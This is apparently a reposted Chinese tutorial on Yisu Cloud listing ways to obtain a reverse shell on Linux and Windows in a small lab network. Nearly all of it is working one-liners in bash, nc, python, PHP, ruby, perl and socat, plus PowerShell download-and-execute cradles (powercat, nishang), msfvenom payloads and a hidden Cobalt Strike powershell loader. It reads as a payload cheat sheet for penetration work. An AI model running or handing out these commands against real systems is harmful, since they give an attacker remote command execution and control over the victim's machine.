溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

反彈shell的方法有哪些

發(fā)布時(shí)間:2021-12-18 10:08:28 來(lái)源:億速云 閱讀:258 作者:小新 欄目:網(wǎng)絡(luò)管理

這篇文章主要介紹反彈shell的方法有哪些,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!

前言

什么是反彈shell(reverse shell)?

就是控制端監(jiān)聽某TCP/UDP端口,被控端發(fā)起請(qǐng)求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。reverse shell與telnet,ssh等標(biāo)準(zhǔn)shell對(duì)應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)。

為什么需要反彈shell?

反彈shell通常用于被控端因防火墻受限、權(quán)限不足、端口被占用等情形。在滲透過(guò)程中,往往因?yàn)槎丝谙拗贫鵁o(wú)法直連目標(biāo)機(jī)器,此時(shí)需要通過(guò)反彈shell來(lái)獲取一個(gè)交互式shell,以便繼續(xù)深入。以下詳細(xì)介紹Windows和Linux系統(tǒng)下反彈shell的幾種方式。

一、linux下反彈shell

實(shí)驗(yàn)環(huán)境:

Win10 192.168.2.102 NC監(jiān)聽

Kali 192.168.2.103 自帶工具

1. bash反彈

bash -i >& /dev/tcp/192.168.2.102/7777 0>&1

反彈shell的方法有哪些

在特殊情況可以使用base64編碼執(zhí)行bash反彈shell

編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

反彈shell的方法有哪些

在kali中執(zhí)行會(huì)解析成編碼前的bash命令

2.nc反彈

nc -e /bin/bash 192.168.2.102 4444

-e后面跟的參數(shù)代表的是在創(chuàng)建連接后執(zhí)行的程序,這里代表在連接到遠(yuǎn)程后可以在遠(yuǎn)程執(zhí)行一個(gè)本地shell(/bin/bash),也就是反彈一個(gè)shell給遠(yuǎn)程,可以看到遠(yuǎn)程已經(jīng)成功反彈到了shell,并且可以執(zhí)行命令。

反彈shell的方法有哪些

3.curl反彈

Kali開啟apache服務(wù),把bash命令寫入html文件,只要文本包含bash一句話即可。

curl 192.168.2.103/bash.html|bash

反彈shell的方法有哪些

反彈shell的方法有哪些

4.whois反彈

whois -h 192.168.2.102 -p 4444 `pwd` //反彈的shell只能執(zhí)行后面帶的命令

反彈shell的方法有哪些

5.python反彈

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反彈shell的方法有哪些

6.PHP反彈

php反彈shell和python的方式差不多

php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

反彈shell的方法有哪些

7.ruby反彈

ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

反彈shell的方法有哪些

8.socat反彈

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.102:4444

反彈shell的方法有哪些

9.Perl反彈

perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反彈shell的方法有哪些

二、Windows下反彈shell

1. powercat反彈

①用IEX下載遠(yuǎn)程PS1腳本回來(lái)權(quán)限繞過(guò)執(zhí)行

使用powershell執(zhí)行IEX (New-Object

System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.2.103 -p 4444 -e cmd

反彈shell的方法有哪些

反彈shell的方法有哪些

② powercat下載地址:https://github.com/besimorhino/powercat //下載到本地執(zhí)行

powercat為Powershell版的Netcat,實(shí)際上是一個(gè)powershell的函數(shù),使用方法類似Netcat

反彈shell的方法有哪些

反彈shell的方法有哪些

2.NC反彈

服務(wù)端反彈:nc 192.168.2.103 4444 -e c:\windows\system32\cmd.exe

反彈shell的方法有哪些

反彈shell的方法有哪些

3.nishang反彈

Nishang下載地址:https://github.com/samratashok/nishang

Nishang是一個(gè)基于PowerShell的攻擊框架,整合了一些PowerShell攻擊腳本和有效載荷,可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等類型shell

將nishang下載到攻擊者本地,在目標(biāo)機(jī)使用powershell執(zhí)行以下命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444

反彈shell的方法有哪些

反彈shell的方法有哪些

4.Reverse UDP shell

攻擊機(jī)監(jiān)聽 nc -lvup 4444

利用上面下載的還是放在攻擊機(jī)上在目標(biāo)機(jī)中powershell執(zhí)行以下命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.103/nishang/Shells/Invoke-PowerShellUdp.ps1');

Invoke-PowerShellUdp -Reverse -IPAddress 192.168.2.103 -port 4444

反彈shell的方法有哪些

反彈shell的方法有哪些

5.MSF反彈

我們直接可以使用 msfvenom -l 結(jié)合關(guān)鍵字過(guò)濾(如cmd/windows/reverse),找出我們需要的各類反彈一句話payload的路徑信息。

msfvenom -l payloads | grep 'cmd/windows/reverse'

反彈shell的方法有哪些

依照前面查找出的命令生成一句話payload路徑,我們使用如下的命令生成反彈一句話,然后復(fù)制粘貼到靶機(jī)上運(yùn)行即可。

msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.2.103 LPORT=4444

反彈shell的方法有哪些

靶機(jī)執(zhí)行使用powershell執(zhí)行payload

反彈shell的方法有哪些

攻擊機(jī)返回shell

反彈shell的方法有哪些

6.Cobalt strike反彈shell

Cobalt strike的Scripted Web Delivery模塊,可通過(guò)bitsadmin、powershell、python、regsvR32等進(jìn)行反彈shell,類似metasploit的web_delivery模塊

①運(yùn)行服務(wù)端

./teamserver 192.168.2.103 123 #123為連接密碼

反彈shell的方法有哪些

②運(yùn)行客戶端:

Windows運(yùn)行cobaltstrike.jar #用戶名隨便輸入 密碼123

反彈shell的方法有哪些

③開啟監(jiān)聽:

點(diǎn)擊Cobalt Strike->Listeners

payload可選擇windows/beacon_http/reverse_http

說(shuō)明:其中windows/beacon 是Cobalt Strike自帶的模塊,包括dns,http,https,smb四種方式的監(jiān)聽器,windows/foreign 為外部監(jiān)聽器,即msf或者Armitage的監(jiān)聽器。

反彈shell的方法有哪些

④生成powershell payload:

點(diǎn)擊Attack -> Web Drive-by -> Scripted Web Delivery

Type選擇 powershell

反彈shell的方法有哪些

生成的payload:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.103:8887/a'))"

⑤生成代碼已經(jīng)給出了,在windows上執(zhí)行

反彈shell的方法有哪些

反彈shell的方法有哪些

以上是“反彈shell的方法有哪些”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI